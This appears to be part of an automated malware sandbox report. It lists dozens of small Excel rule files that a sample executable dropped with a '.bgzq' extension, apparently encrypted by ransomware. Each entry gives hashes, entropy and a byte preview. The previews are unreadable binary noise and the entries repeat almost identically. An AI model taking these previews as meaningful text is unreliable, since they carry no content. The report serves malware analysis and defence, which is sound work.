Preview:	<?xml..jVP..\..G..y.c....9.pM7....=,....\|b.W..........U4..!..R}...P.1{.sD..=.3/nu..zt$?.&....'.y;...x.a..Wt....{"{I.-Y....."......D.Tz&$.>./,.Z+g$..;.N.j#H..`p_f........<.....};...09\{.............r......]..J..8...2......k.~.....oU.VUC.Q..#.;.x...C.N....}...5.@.zIw./..s}....@k....5.2...G.h.g......)L.u.....7...4^..h..@i..._(4K.\|.9.(Q....kd..F..N$........!t..3......(D_.......]\|.j../...v..i........[e.....c.].4U.2.......Sz~{.ff.. ..el\.{.(....a.......B... ......3.....y8qDl..6M_F.......(.......c.....A]......u./...n.j.....).....-G5.."......( .........c_f.n.H..r.Ho^k.......z.L.d.^9........F^....7..e.C...!.....AQRh...5).8G.....J.l.....O...<.i.p.u.."oy.O.6..7..K.+..#..c.......A"..pO*......Q..Y.e..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.710610437615217
Encrypted:	false
SSDEEP:	12:5zKacSWJHdJ+ooo8OeazPHGiA6Op4XudKRO7EOlvZWT2D6f4JhILU3xDGfW5jVcq:5zySWJHyYfhTqKROj4kmIyucfSVbD
MD5:	DFA08C2132142BC328B60990CD9E7C42
SHA1:	3CDF887511EDAB1F1744BBF3402C41069C25290F
SHA-256:	56789CE1525B722C37A0B8D9CBC3B7D45E5EEF1590CC1A07AA7AF7BE4177EF3D
SHA-512:	6B490C3BEDCB4A6FE2BCFB9C2D035F59CFFCDA8AB47A19E73907B3F67E304B733C0CA56B6E656F21B65F6B338F4E8C36EA1D01DD6DC5F11078DE6E4BF4A1F3CB
Malicious:	false
Preview:	<?xml...rz._.{T4.<.'.5..&o.X.\z..Q....j.@..D._>...O.....#.IV.7...0Wz.S%...@.^H..x.~..of.,N..=.q.....W./.x`..M.2.d.....k....$.)...m...os{.=.a{j.m......b..+..._H..Hd.p...`z.....e....df.G.9...6%....P.O.....y.B.;....D0.#p..H....&.!..b.(.L1..........jN..L.L..o....G....._..e....u`'.)....h.....U"}.r.......Jn.Jr3..nP (..: 3.n....~.Dc.. DG.......'.....f~....a.T..Q..@..s.....]:.g....m.z.H...O........u..<..Hjd.V.C9...&....;($..)..-..@.!.aD.P.h:j..s..`.1...K.S.Z1.C.......O.Y..........q.v(.I..;D-".".......y.........I..(.........I...7.P.:..[...<....@.2.(.j...xt.....1.S_.L......w.....q.y2....yHK.j\I..Z..'m`.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.732283501173097
Encrypted:	false
SSDEEP:	12:cLO2ZFenZie6U66tsnAYe9FSZl8sD7lH/nz0DiAaCt6ZcGydVuCYyzCrXxjVciik:SOTQ6YUF6R9nzFmocGydMEzUJVbD
MD5:	915F3A5F8F6186A0B1DA70E94B9B6E7D
SHA1:	44262E94B203C25FCB8575AE45D9D55A73C644FE
SHA-256:	A3007A0479CFD859ED1DC60E0ACAE6A84EEDD88EC584D592EFA3131542A55285
SHA-512:	F2BA2277133B6D28DC00BC824D0DCBEAC18B24228FDD80DB69114142D634936925C557A0673E8F62DD30E944AA22854C4139BABA5A633CA28ED1F49F7B209DC4
Malicious:	false
Preview:	<?xmla.P!.#..Zj..(o.......>..VZ..l.G..7.1"x.;.....02{..f...&m0W...~..cv....R...{.0....S.'.o./....Js..9..1..p...>..B..YJ,...a...W..D!....f....{.'....H.93...(..^G...m.v..x...f.W......&..@...4.U:.s"Y..Y.dh.......B.....M`.....L%....0.R..KZl5."i.Q.pH.....H./...>>..Oxk[2..t.n..C&..........AczM.-.3.8.hd.,}".8.k..8.1.h....S.w1.....Y..n.....D.iC...aT..].......G...<.D.......p..'Z..F.G.C{IJ.:....C...f.Ow./.....wA.n...._c...l....F.K4iM....cB......;1.......~.e.8v.c..".sXNb..CJ.y...-...1....c..8.!.5....r...E....k.....s.:.......&.JG.....IC...... ,#>....n..d........&.\|..{..a.. .]P..U..%L.IV.x..*}).w....!..e9.7.f..\|+...O^pG..\..M...'..i....^nI...\_t.CB..7..rT................s..I...7.qk.gD.<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6764889335543565
Encrypted:	false
SSDEEP:	12:20pkvTU3UXCXAR3RbrjHdBBx3lWxKKblrU4cDL8t7HyejVcii9a:2nvTeI6ARxv9R0xKo4bYVbD
MD5:	C8CE6BE4A7F3614B2D7E189FE1C759EE
SHA1:	AF85B4086655D3DAC8CB9C466C3115E62A7EAB9F
SHA-256:	8034DDE10E6E7299D61CA3B929C1A151D832D486C8D85074FF48E675F62A53F6
SHA-512:	A6F922B3DBD16A43B30C2E0E56D6538E670F3AD9F30A63B85741773FF0D44BDE78D1D9AEC0AE69FDA3B2C6B440849761B59B1810388A01ADCE6F0525DCFA0B4D
Malicious:	false
Preview:	<?xml.q.nb..A..iw..J.?..}.:T.#P.Q.....j9{.;Z...D...N1..j.....Q...Z...~..........{..e6. ..6..65.lZ....1ci_2....'..`.kHU..b+..z_...1...........=......w\|Z.).).<...&.Po...]..c]'.Y...B.....p..w'.+4.5.....fo...2....H..'Et.<z....Xl...^.....<..B.G..H..#Op...?....~.?/,).-4..\OPF.Y.I.&],.J.. \6G.e.....M.2..ni..A...\|......j@..y....0-.d.k.)F.Z....;.f`.h..;b@.5Ng....s...y.I.1C6.P$J\...s.:.V...\(>Y."y...t..B.;-.o6AK^".......VY/B.7p...,.'..-.].......n....n..f....'..xA_Q....Z.e5....E......^.......y...CF2.m.5..qP.. .Q...D.. W.h0~.%..<.....^?..2fN.8....v@.%V8....},./.>)..Y.j...\.?....a4.=s...*f.R.5#.f.L.3.H.Avc.. ........7...dH.g6W...P..9_...`"Na.['.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.719883372294986
Encrypted:	false
SSDEEP:	12:HZ1Ff58Ek209jMkapUSHgDLy3oU+6bpnkBwzEbPa5X1irqwSePHgwssTIYCxw8d1:HB4209ADFe+YU3mSUPa14qwS2CrYsVbD
MD5:	1068E5A341DEC7AA4D7684FBF615B89F
SHA1:	A74431109B61A79489920C101D411CC74A7A49BA
SHA-256:	B0CF3E5B8B3283CE7F03F206453324B2E2141AEA77910F6A16FF337EF843B570
SHA-512:	E380C6086758A75A60293514B3377F09BF890C98EE2000E75EBA50908A9728AC4481D1D5D54A2511C8C0BAECA665506C0F0D0705BA3BCE3E2F794E50EEF9C654
Malicious:	false
Preview:	<?xml..B3..d.j.7I...p.t...5.....1..M.............-1.....@..\|Z..l..\!.H..g#L......(u#(....rl..!.k...........L..d..o.&...!...>...4o-Y....[Q....^W.!.....m....,.......;...dW`n......"..4$.9LH.(#.^R-...S9...n?..s...4E..Z.?.M.,...l......}.$.J..A[M2.W.`._....f.."O..^X...$......@....B....>.@m..tG....V....H..s..i.t1.s..)1As...=;..cV..9.`<T..S.]`.?......=...c...........o.h....aI.Q..0..L$...g.\....A.....v"l..i>..o.#T..\.Md%......;.,...s.z.g.......5........<..5..\.V&.1OU.x.Ca.............MH}...n....... ...J.........x..-#.g...t.M2.0u .6E....]...+oo:.dk.U.9.G.B....}.7..y.7....._g_.....:...D.........t.A.....vu*..I.+.4.Ca.6D!B.f...WC..>7....../...'.>......!.....E....(h."X.S}...-r..4....a.8{.7.q..l.Eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.718475543042127
Encrypted:	false
SSDEEP:	24:P/4CKHlSHikus2isLZiVPzNDXvhOT0KKVbD:P/pql8gSQ0dvcT0dFD
MD5:	3524FED5C3584F8E1C615D5C05658736
SHA1:	CBE4C2BBC3D8017F9671C7EC8FF147D3B1206017
SHA-256:	F9C3AEB6F1852DD5C88E5CE1DE7BE8A82A376DB342D6866FF539BD671F4D464C
SHA-512:	47F1DDCB5591B2673C6CC39F58AD737B7A6C72D60BC896B00794AE91FED91F3E88B554D9068AB39641B1865B3E83DABC8B99B6E250B5F757BCD888F03F7EFBE4
Malicious:	false
Preview:	<?xml.I.Iu..,S8}..V.[......2.......rK.......jz...+..\Mjv.Y.e.Us.6jomA.T......pK#T>w..C...`..E .......1.{.Vc{D.#&....0...M..!l.i...8P.Y?KJ#...=..$..0.7..Ah.V..u..d,.I.#.....XL9......l.......@...\W4.>........vl'....\z.X.1Yc.Q.....g0..-.]Y..{...A:F..'....T...g......52J.i...<..g......S...@....-s.....=d....Y.9._U.O.....<U.{...i.eG......A..0*...h.....Uh?.........rb....--9q.y...j L".....HA.<.S.QM6..........\?4F....3..P]...\LB..8.....'Et:..?zu..O...W..I....co.ez....#.G%.w8$n...~..$...+aj.l4/..K...r_.?J.....l.B......g.2 R......BH....9.&{.S..T_..h..1zj5!..R..Cxj.$.%.O.l...~N1...X......sO..a.....2.K..q.jQ..z57g.Vsl..%...b..n..sr\|dXB...G.E.....\|n.q.c ...s.:......n.....4h..:.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.765289196671448
Encrypted:	false
SSDEEP:	12:01aRx1A6vQE6gJtSm1TWktTgpn58mEz2yZgaeP+DAqpYkxjVcii9a:01CxO6XJcAhm51xyK8AY3VbD
MD5:	D3AFC69EDB6C4A2DA580A8D0842BD58D
SHA1:	52133D3AE9CDD982D3759454BEA864162537B1E2
SHA-256:	073C7FBB62E6EA0BB11C1D1D6F7BC50B0578355BB120D90050E234473B0D6936
SHA-512:	F81FE73DD5B9DF72C9497C6BE854A12845B382A8FACC1B7254869FA64911D1F597E3562CE5F21BC524FBA45075172E528A12A9D9EC51D2CB147F4852D8726DB4
Malicious:	false
Preview:	<?xml.g.of-Ut..h....3fw..e...F..UU...AT..)2..%.8.....b9.O..gar..Z...u..JxHH..K%\|..."..>s......O.......o...X%v..i...D.L.L......;b.2....y.d..+..b.0.(H,...dr.A/..ib..mck6r]2...:U.(.Rb.q.j....yR..<.S..`W..`....~-.w.9..a..m.:.x.....SZu...ghE.+[..>$..U..V.3..{..t(.m^.\N.......%....3....._"....N.....eS..J../9.....3 _Vs....b:.....\|\..x...-.(...4.eL}...e5W.....{...,..M......I...O..Bp...iw..=..<........7.`.IG......A.r........d......lT...8C..B......]......PP?..K..X&..{...f.;o.Cmq..U....n.-..}.-....\H-=..w......6..J......u....' 3..U..9.......=.._..#............i..5lh...k.h.....*....5.8..7cM.L.pU&.L...r.e...A(.#..4./'..q.........=t.J.W..qo(.;7..T.h...])+.8I........&.....X.=..K.#....\|V......Z.[...Or(.".c.(........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.71110014163281
Encrypted:	false
SSDEEP:	12:i074uis4TGjC+booEIFk/MTComapV3+Ja7+8Shq3/ZnNzuiHflO5/jVcii9a:i011cv+bo38kkOopQISM3NNzBfqbVbD
MD5:	C491FB825BC1F73F64137CEBEB2FC1BD
SHA1:	7A3D43BCF73D972E0DA68B5DF3BC5B0983A0D973
SHA-256:	5D678E8E2CA5E36DF6BC4446070F9805BEF3465928D4FD0B14C61F86D52D5E48
SHA-512:	19AA9F377D8630DD5BED273DE0113DD1B2CABF88C12D155F8A72DEFE20DEEC1019610F2C060C2F98FB8F8449675AE4E76C2ACE02EAE6392059EE9D83EEA9EA3B
Malicious:	false
Preview:	<?xml@I9!.s.0.@...\|.e.c.[.0.P.b..Y.;..b.A N....[..@+=....1A.H.P.0;.6.i...qP4..;p.6...._........>d.O.Q.Pw.`..L.O..ha?-..jC.&.a.5.ce(;...C>...{#.\|'N...9..:...J3....,..".{...#d.F8.4.D..LG..g..d.i....T...2q.kz\|oj..K............0..I.@..k..]UC....P.\..c .!.+..J..+.....tM.......)...)l.9....O........MQ6'..vjk....G,.e..0...+S....hj..wv+.c.d..Qr.h.P\|1&.1GW.;/.!.&..x.bH.v:.m....'5/.2..f...0.)....% q.\|.....>..y..8bM....;..<...!.f...Wi.@b'...Q.d.........8.V.-Ek.a+y.7P.QUk<....%i.y..?......a.......~.EI.#..w...Vf.aM>\z.....n)lw2QE.n..4g.ye.....R....=..[..I\G.......c..0../.Khd (x.o.+o..Q..+..C.(N.j...]..b..w...I.q.....7\k#L...e.....N.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.728003411721591
Encrypted:	false
SSDEEP:	24:uM6caUxCRBg67Xqkw3C6a8/+Zmpy73b+6VbD:uM61rg6r8yB8/QPxFD
MD5:	3441339EBE61078E74909C760D2C78C2
SHA1:	5E885C30BA77B2BEC1F7ECEB9DCBF532194A72B6
SHA-256:	F4E0C2D73DFC39B845067EC83776D29A78BD09E94E0970D6F4EADAACD97BDBAC
SHA-512:	DD295895EE8586DEC386AA470B6D37EC48C548FB677983C88F61D48C5C875B5C306E99C6F81796BA1887093D3653B1117BBBA1A4B70BAC82CF3AD0973B13647E
Malicious:	false
Preview:	<?xmlQ..W........3;...l.=]..q..._.....=..,....#.../.X.&B..lo..N..E...Q...6A.1....+.....+_..`..\|....,.i.i...Q..Z...b......~).U....'....v........sVL..}.M.........6.E.hm#..Qi_w....[]Ug0.v...5..o....h.f5T.4.)C....Z..h....(.m.e./.&FFO...Q.^.H....X.k..v.W.q...!PhCb...A`.."e.M.RZ;......{i......z..j_sc.[X.\.[.......V...d..XE.eMh.<R..G".q.I5q.l.,z`....G..7..#.........`.I..A...rw#....=p.5ME#W....j.....k.-UB.f...3...X.[/^.!.Uc...Xe...=...6dt....S[T...+?.).z..i.....mC......]K.`/....?Y.kK.jA..^.....sV7].U!.kCF..i}X....)..m,o.1..A.......E.......p$.Ln. ._o.`..$....J.$.v.:.......}.f.z`^...g..n./..:..v!%z.....D.3gh..S'../.v/..C<....M.X.O.OF..b.~.4.....6AP..p.,.....M.,..S..]...R...B...Wd....L.,...W\|.^.jPitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.689080819805612
Encrypted:	false
SSDEEP:	12:t2KigyDVQGaZZnBUFKoUI2tAk6uKBnJugZnmf6qokPpi6V1syhjVcii9a:tRZyDVQGaHBUFKoUok6uwnmiqFPpio1H
MD5:	0989A3D219B2264FC343684BBEA943C2
SHA1:	1FF14D6AD7455317231BC03E4770B77DBB96CFBE
SHA-256:	1D47C0128F628EFB3ECC9061802C5FE67D6391F479BC70A239581CC1F2D54FAB
SHA-512:	85D11A4039A92A8C273E059745FD56F39A26B255ED19159D2E8003BDBDCC186756B94DE31085D04F8336FAA54F54707CAE6A3711B94598392CA876491DAF843A
Malicious:	false
Preview:	<?xml.h..h..R.=F.(.@....`V.......f^..M.....t.c.....HI.v..4....n..0...u-.....w.."...O4E\...&..d.!..;...x:.e......P....q.t.._.....r.......k.m.{7QQ.MG..`......._.{...rwY.;y.vF..eJO..8...r. :l....4!....WR;.8i....u..."P......=_+.~..F$[.w.......#.t..J@X7...I....Al.9.o..3.)...RF.A..{.A...`..........?..;h.nm+.."`#....!...u8.!.....q..-r.5oH.@9)8.H...#...mD....xd...r..*.1q&.:....\U.i.{..Q.-@4..&...H...f.j$...SMFjDP.NxR..r1.Vx{....a.Yw...Ge....E.2.P"NH1.mf...~....Ryg.g...Q......b..6m....HJ9yV0...L.....6Io.SU{:s..;.@./!p.'Jn...]6...;../...t.^.w..>.e..frO.OP......)I@.v...~..t.\u.N3..n.)Q....;).,C.0.2+.'.Y..5.A...!..5~....Cr...b...@.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.709791212307932
Encrypted:	false
SSDEEP:	24:dK6kH1RCZpNf4xQeTA+toD/zZaYnVDyE4ot4IzrnVbD:1gRqpNwxUcIVmE4s42FD
MD5:	917BD2128D7DCEE48A54641D0620EAE4
SHA1:	7AC00EFFC73EB2300B4CFD93D51321A004FD4E38
SHA-256:	A13C3043504E7B3974586D698E80180D9D13BBB8C80E70C3529AD890C66D17A9
SHA-512:	75B86AB5C68B4F1A1CF530FCA49F7D8321993BD71276ECD5062924C3CF19B19EE3D9823AB39DCF62767599E2771768C4CEB3641F8D662860D8DB4A38D000A16E
Malicious:	false
Preview:	<?xml.#.Z[F...M<....f..y.D....s.{??.v...@.RU.W.8,.Er.R@3.a...mW....96........L..}....../.7...CV8.......:...+(..I.;...9v..p..sPKd....[...c}.....1..E...&.t.0.M=.[W4.#.wd..e5<....'.k.9.......5V....t[x..f....[.i.!.....[....T.........>=.8C..}..p%..a....Ry.<......Yy.+?.mj.ne3...OG..s.e....i..1.+.(.k..Ig..C....Zv.^.l..\I......RDMb....\|A76T....,p....!j..^`.B....................N_"m...*W.gv.>..`..WD...c..@....4..n..}....%..U_..g@....aW.Py5..F..V}..U...'...ia'.... }.A.....;..Y..G......>....%..j..C..p/=...f>..~...'~v.N[..j.h....#/-...`.#....kZ3O`......Qa.UV.'....j.i#;.X483WH.>Z..FX2T+:.Ox...X.V...I.Q.M.t..K+RJ.C.r...!'......-..g.G]...(....."....]...c..5:VC.oN..0..J.K...cY.ag..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.697255712223224
Encrypted:	false
SSDEEP:	12:XI8sb3qPgU/mIeNHKYZb65xIBtrrRDuzkbjuaaDS3/VF3nGNJZ38YjU47azrsAMO:XIDb3qr/mtx64XDSSGGvWb+YjU1fsAz/
MD5:	9FD3CEBBB46EF7CBA339D58E013128FD
SHA1:	AD4FD4F3A17F31446D9329A4F7AE513B480A3BB0
SHA-256:	98ACF77EEC7851D94C4AFE19F9602ABCE31DF422E52804EA7D27C25D2D7939DD
SHA-512:	467393B6CFDE29F35A8D683D2E241B8A81EAE129244AB7FAFC7802CA30D48A65B509D0E45384D1DAD685873CFF4A72C658202C8216807052A398C19BB89E1861
Malicious:	false
Preview:	<?xml.q.(.....\|....T.&.#.'...Y=......>J.n_.J.@.P.q....3....n..<...x.[nM.O...R..'..'.....j.a.&.ul...V..........e.`\|..}y...?{&.YF..F....b.....h......./Z. EiZ7<$C..AXL..=..V....../_..1......Y@..z..RO......Np.L.........4..#......s".w..`..FX.\|. h..Qx.i.........k.nRs.v.S.... .....#..w(.v....^....@}....LSD...>...K.Q.....Y....`..^.N...z..Xn...fQ..p.}:..no.2...<..N3AV.,.=.h...bAzJ.a.ll.p.-.T.3._.6.1...........li..q.....x.t..J. ..J...$..S.nt.d{..r[./...._....e..T.,.{.....`.5.l..Y....8.W...V!t.=..Z......X.ys...F.y...\|3.pv... ..Z5..k.&..$8.RF...\.t2\|...EI.i..q......fgs...{. .R.:..Z.C.j..B..B..S....Ve..q.{A.6.:a:.......}MKr.Y...!9bj......Hw....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.747909347836398
Encrypted:	false
SSDEEP:	24:0dNSx9uIT9Q9rZE6677NQ9vsWXA4BJ8uKVbD:0dNSxd6lZ27hqvs3+JYFD
MD5:	C334027E1323BFADDB00B0F862F1ECFC
SHA1:	075359E6B0B575710F0CD4214A98685342A99944
SHA-256:	8BF74CFBFA842BFB65D81B1FCCBB4DDFC85A1EFFDC34429ED88FD77DBE5BD7FF
SHA-512:	7F455639D99B4D4C95097A3B1C997A26445D7FF11E6DC7A6229112100E24387BAB1EE342009F03C75589661ED48C2325B0FC4B85ADFC47248C7402F8AE2ADF84
Malicious:	false
Preview:	<?xml..}..f........{.W........<o.D..I...9.%jL....M.......N?..k.;.nT...!/.........Z..z..3..C.\.et.........zBL..4M7J. .u;.l....S_..(.r\.....SY...,D..k.p...bs...+..x....0/......:.f.^...]...G..B. ...C..h.:.ac.vH.A......y=...P.D....#:.a.H.[.....;..N.ws.k....2c..(...&`...^;.#..n=...L......`tm.hy..H.5<.>-..p8..y.Z*...;f.sF.@..........@..nq.,......epV..V..f$.......H.0,.Gk{.;.A'}./.).9E..4..hRf..K.2.......L...0.}..tz..tk...fdC.B...=....QTuj..e..Z..%..n.....&.\|..T.....qs.......+.PH=2.>..g.....C.E.C..5.,.\&.;...P._L..(...r......^y..J...V.....g)?B.?>d..(.8...sN....H.%....8....Wk.g.Q.(.9..~.>..........}.....w~T..j7..~.....W......TJ#o.~$.m.^..MKn.N...Y......t.........._&.b4~.2_...~....D.J.@...-e...+.R.I.7...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.694071437553835
Encrypted:	false
SSDEEP:	12:iHGLr5jZKHBYtynxNhA4+kufYD20QY9OxQCpEsCTNoa70aG71hbojVcii9a:iHCAbhArYEEavvSVbD
MD5:	DFE05C2BE19702B7C619B127E78C5780
SHA1:	5907CD6C08D170B5ECB00FDFE961CBE57E6DE294
SHA-256:	648F4E77D013172324E8B4D15B692E5CF2CB5EEC768801CB9DC4951BC7169AF0
SHA-512:	5507977A500FC08C5E4DB7B422E0303558386580D877433220F661DD53F5CCD66ADB415A4CE1C8C7CF95E6C1BB7C2C3B29337F96EB674DB5497574925B98CC7C
Malicious:	false
Preview:	<?xml.v)..,5p.!......uU..7.J.g...v.t....X.yb...>._..-N...5t....c.3......[A.^....Kx....E.Z...XO.0.....d.V.;..b...U..M...+Y..x.f.f....IM-Fw.)...v.l.K..d....Lz.S...fy#~...K...}X`E.j...2..gY.X.I..v=~..X....X.[a...D...}..r.......}......m.......B.$.o.<.D..AP....St......0....:..Uh......s....!......4.v.....[.J.(]....s..29Z!L...vF..... ...../,. .n..y.{.}X...S./{.{KXht..#s{.R..SL..&`..Z.).Y.v).<.......R..?..ki;F...<E..A..7F.S,..3..1...B.....'..#.p.y..A.........h..e&..D.h...M'B...x.....-...KH...3.T..K...,y.]H5..EW.....4.....B..4..i.E....}../%;%l.......[...?........(.:...&...7.$28.._.,:.q....e6L.#p...#J.2.....M...~.>'....K..B.A.d..q..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.758628008850596
Encrypted:	false
SSDEEP:	24:NL2L/T8K5ccynQe4OOEqAacVB1AFXtyIfNMTmVbD:w8uc/Qe47EqvcVB1A7y+NgmFD
MD5:	2E83D582548EF2AB4237978A9428F441
SHA1:	7EC5026B630A6C9D1F60940EDDE8A455A81959B0
SHA-256:	00C0FDB2F62EFC29777036F74FEB44194FFBEF143A0EAC7649DABB095AB55DD1
SHA-512:	3C167D098D07A5C164ACA0230D1773A213819BB84C6E9873FA739FF5FDE4ADBBF9C4ED97EDC7B9C3513DDF5E0FBEA4C77C1A1E5D4E67AE84A04055CE78A9F388
Malicious:	false
Preview:	<?xml.k...Z.%,.>-.....H....)...../.~.......@;J.3....%...T..D.El.k!....G.z!9.{H(b........f/.).k...<...{/.q.V2.b..E~;.iQ...........sZI._.}....=..p.c...A4[...Uz\.;...:./...M.w....@..U..\.-.x.t...Y.1.....#..!...yuJ....).....Y..BQ1`.....mL..U.C..C+`.....M~:(.Q.C!..s].f..U..+5~.g/..Nez.A....U.l fS..^Ol...S...2...}.........5cB..b.b..\|\|.H...'.4I.d.:.z...dT...S..!..}'.....U..t....?'(..c.N..q.W.G..8..R.....r....Q"...r..n.^....h..5...h.....V9..)P..T....... .Jv.=..$.....0h..OQL...CN.&P.\{.p.<...%..H.E.. .....*=....mp.M}3.!..1.[F..f}....i..".q...v.tX.u.P.Rtc.2.ZVNg ...j.....\K!..hB..F.k..t. .H..0;.v........?.E.\|'8.c..'.].=[...TX.....g......ZQ6..9...0..,...k...$....y...l.^\..}....Vf..G<Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.718167130006155
Encrypted:	false
SSDEEP:	12:y3vARBoXMwyEv3r7N6k9HKw1up+hiZkszzRcwBZulZeGd9bRgiyl8ni282G1i3g4:tQMw9vNP9HKw1uk4ZkkcgGj92Qi28Ag4
MD5:	C385D9D8CD861ADCE1E8B2F92C18F141
SHA1:	313341A088A57542CB7702FDEEB0A8CCBE3C35D8
SHA-256:	D9A54B12C5ADB8FE996E6583BDABDB82110966F54378F4501E671C306188B327
SHA-512:	027ECB9AD313F8D76F08B8290EBC41F47C500E5DD8CD7D0E86CDFC6619706147BD3C1525119F0ABE9D183A1BD8C6646065BB1D8DFF13E2D428773C96C78AB070
Malicious:	false
Preview:	<?xml...hM....%r.0~.=...dUf....O....h.\.[...C._....=..o.R'm...a...}...... ....;6.2.F...iB5.y..R.J...0.....\|......#.b%p.........n..V 4#.G..e.f..%...C.r.+...7=..r......:}..x..ZV(\|_6......w...,<..%......>.\m3uA...p .*.....R.<....6.Q.(.....hKM...}........VQy.........:..K....%.!...P......p....J..T.........^w.. .././..<...JYh.6.\|........5VZ...h........o.}......t.BJr..w......s...!.$;?~d..q.\l.5Q.I.iuo.>P....Ak..Q....@........=.q.<?.......fI.e_.e..[.<9J..0r..8+......[..-QL.kAB..A.kG .^+........HDi..{....A$..1........`....x...qr..yN.....d..x.wAz."....^&.V......H..ne..ZY.3.... P]..j.P.u..k"7.".....m-.B..O^Xe.m<...plF..1.l...&...W...k.__s..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	827
